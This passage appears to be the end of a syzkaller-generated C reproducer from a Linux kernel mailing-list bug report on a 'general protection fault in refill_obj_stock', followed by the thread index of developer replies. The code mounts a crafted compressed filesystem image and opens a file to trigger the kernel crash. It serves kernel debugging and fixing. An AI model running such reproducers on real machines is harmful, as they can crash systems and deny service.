"\x26\xe4\x1a\x79\xa0\xce\x63\x6c\xb8\x3b\xa6\x09\x6d\x49\xea\xb4\x6a\x4e"
"\xf4\x04\xb3\xf1\x1c\x2b\x35\xd3\x56\xf5\xf1\xf2\x50\x56\x7a\xab\x8b\x05"
"\xfd\x30\x19\x59\xba\x42\x1e\xf1\x2e\xe1\x94\x85\x93\x14\x4c\x2f\x09\x3d"
"\x86\x41\x66\x34\x8d\x25\x35\x22\x7b\xb0\xfe\xdf\xa6\xd3\x77\x39\x1f\x2f"
"\xf8\x62\x2d\x9b\x81\xf0\xbc\x2b\x34\xac\x8d\x79\x0f\xd8\x71\x86\x7d\x33"
"\x70\x63\xa4\x16\x60\x4f\x38\x65\x90\x10\xa1\x98\x2e\xef\x99\x30\x84\xb4"
"\xa7\x59\xaf\x60\x9d\xba\xec\x25\xa1\x20\x21\x61\x28\x9d\x0b\x98\xc5\x65"
"\x52\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
466);
sprintf((char*)0x200009e3, "0x%016llx", (long long)-1);
memcpy(
(void*)0x200003c0,
"\x78\x9c\xec\xdd\xc1\x6a\x13\x41\x1c\xc7\xf1\xdf\x6c\x62\x9b\x6a\xa9\xab"
"\xad\x08\xe2\xa9\x5a\xf0\x24\x6d\xbd\x88\x17\x45\xf2\x10\x9e\x44\x6d\x22"
"\x94\x86\x0a\xb6\x82\xed\xc5\xe8\x59\x7c\x00\xef\xbe\x82\x0f\xe1\x49\x7c"
"\x81\x7a\xf2\xe4\x03\xe4\xb6\x32\xb3\x93\x64\x93\xee\x66\x43\x48\x33\x6d"
"\xfc\x7e\x20\x61\x4d\xe6\x3f\xf3\x1f\x67\x37\x3b\xff\x40\x89\x00\xfc\xb7"
"\x9e\xd6\x4f\xbe\x3d\xf8\x63\x1f\x46\xaa\xa8\x22\xe9\x91\x14\x49\xaa\x49"
"\x55\x49\x37\x74\xb3\xf6\x6e\xff\x70\xf7\xb0\xd5\x6c\x8c\xea\xa8\xe2\x22"
"\xec\xc3\x28\x8d\x34\xa7\xda\xec\xec\x37\xf3\x42\x6d\x9c\x8b\xb0\x9e\x48"
"\xb1\xfd\x57\x55\xcb\xbd\xd7\x70\x66\x6a\x49\x92\xfc\x0e\x9d\x04\x82\x73"
"\x57\x7f\x4f\x92\xfa\xe0\x3e\x09\x16\xfd\xd5\xe9\xde\xaf\x05\xcc\x71\x9a"
"\xda\xa1\x13\x08\xcc\x74\xd4\xd1\x7b\xad\x84\xce\x03\x00\x10\x96\xbf\xff"
"\x47\xfe\x3e\xbf\xec\xf7\xef\x51\x24\x6d\xf8\xdb\xfe\x5c\xdd\xff\x3b\xa1"
"\x13\x08\x2c\x73\xff\xaf\x4a\x27\x4a\x8c\x5d\xdf\xab\xee\xad\x7e\xbd\xe7"
"\x4a\x38\xbb\xf7\x8b\xba\x55\xe2\x24\x63\x2d\x28\x3d\xb3\x2a\x03\x09\x94"
"\x55\x95\x2e\x97\x68\xe9\xf5\x6e\xab\x79\x7f\xe7\x4d\xab\x11\xe9\x93\x1e"
"\x7b\x99\x66\x6b\xee\xb9\x91\x9e\xba\x5d\xd9\x6c\x3f\x9e\xee\x7a\x3d\xa7"
"\x36\x1d\x61\xf2\xb9\x5f\x71\x73\xb8\x64\xe7\xb0\x5d\x90\xff\xea\x74\x47"
"\x2c\x67\x7e\x98\x9f\xe6\xb9\x89\xf5\x55\x8d\xde\xfe\xaf\x9a\x18\xbb\x4c"
"\x6e\xa5\xe2\xa1\x95\x4a\xf3\xdf\x2c\xee\xd1\xcd\x32\x4e\x5b\x15\xcc\xf2"
"\x9a\x1b\xe4\x96\x1f\xc1\x2b\x99\x65\x6d\x30\x8d\xac\x05\xdf\xe7\xc0\x17"
"\x04\x71\x59\x9e\x2e\xea\xfa\x50\x54\x3a\xbb\xad\x92\xa8\xd5\xdc\xa8\xed"
"\x92\xa8\xb5\xe1\xa8\xfe\xd9\x5c\x1c\x79\xd6\xcc\x17\xf3\xcc\xac\xeb\xaf"
"\xbe\xab\x9e\xd9\xff\x47\xf6\x7f\x7b\x43\xe3\x5c\x99\xb6\x8d\x6b\xe9\xcf"
"\x8c\x91\xf3\xa9\xba\x96\x71\xf6\xa5\xf6\xed\xdc\x96\xd9\x0b\x58\x4b\x63"
"\xcf\x07\x13\xf9\xac\x57\x7a\xa8\x95\x83\xa3\xe3\xbd\x97\xad\x56\xf3\xed"
"\xc1\xd1\x71\xbb\x7b\xb0\xc7\xc1\x7c\x1f\x74\x4f\x82\xf3\x92\x0f\x07\xa5"
"\x07\x8b\x76\xb9\x4a\x1b\xdb\xfd\xf9\x94\x06\x0d\xfb\xf1\x84\xd9\xe8\x2f"
"\x7a\xe8\x4c\x10\x88\xdd\x77\x99\xc4\xd8\x83\x4c\xbd\xb2\xe9\x4a\x24\xfb"
"\x14\x8f\xd8\xa7\x27\x65\x9d\x67\x7a\xdc\xca\xab\x0d\x12\xb7\x23\x97\x74"
"\xb9\xb8\x82\xcb\xed\xb6\xb0\x82\x1b\xb7\xe6\xba\x73\x4f\xba\x3b\xfe\x88"
"\xb1\xcf\x73\x4e\x98\xba\x7e\xe9\x05\xdf\xff\x03\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x5c\x34\xb3\xf8\xd3\x85\xd0\x73\x04\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xa2\x33"
"\x3a\x67\xbf\xff\x2b\x7e\xff\x17\x98\x95\x7f\x01\x00\x00\xff\xff\x4c\x04"
"\x84\xa3",
614);
syz_mount_image(/*fs=*/0x200000c0, /*dir=*/0x20000100,
/*flags=MS_REC|MS_DIRSYNC*/ 0x4080, /*opts=*/0x20000640,
/*chdir=*/2, /*size=*/0x266, /*img=*/0x200003c0);
memcpy((void*)0x20000380, "./file1\000", 8);
syscall(__NR_openat, /*fd=*/0xffffff9c, /*file=*/0x20000380ul,
/*flags=O_SYNC|O_NONBLOCK|O_NOATIME|O_CREAT|O_RDWR*/ 0x141842ul,
/*mode=*/0ul);
}
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul,
/*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/ 7ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul,
/*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/ 0x32ul, /*fd=*/-1,
/*offset=*/0ul);
use_temporary_dir();
loop();
return 0;
}
next reply other threads:[~2024-04-01 7:04 UTC|newest]
Thread overview: 7+ messages / expand[flat|nested] mbox.gz Atom feed top
2024-04-01 7:04 Ubisectech Sirius [this message]
2024-04-01 23:52 ` general protection fault in refill_obj_stock Roman Gushchin
2024-04-02 1:50 ` 回复：general " Ubisectech Sirius
2024-04-02 2:55 ` Roman Gushchin
[not found] ` <69eeefa1-b654-4d19-b569-429abfc58d0a.bugreport@ubisectech.com>
2024-04-03 22:26 ` 回复：回复：general " Roman Gushchin
2024-04-04 22:46 ` Roman Gushchin
2024-04-14 4:19 ` 回复：general " Shakeel Butt
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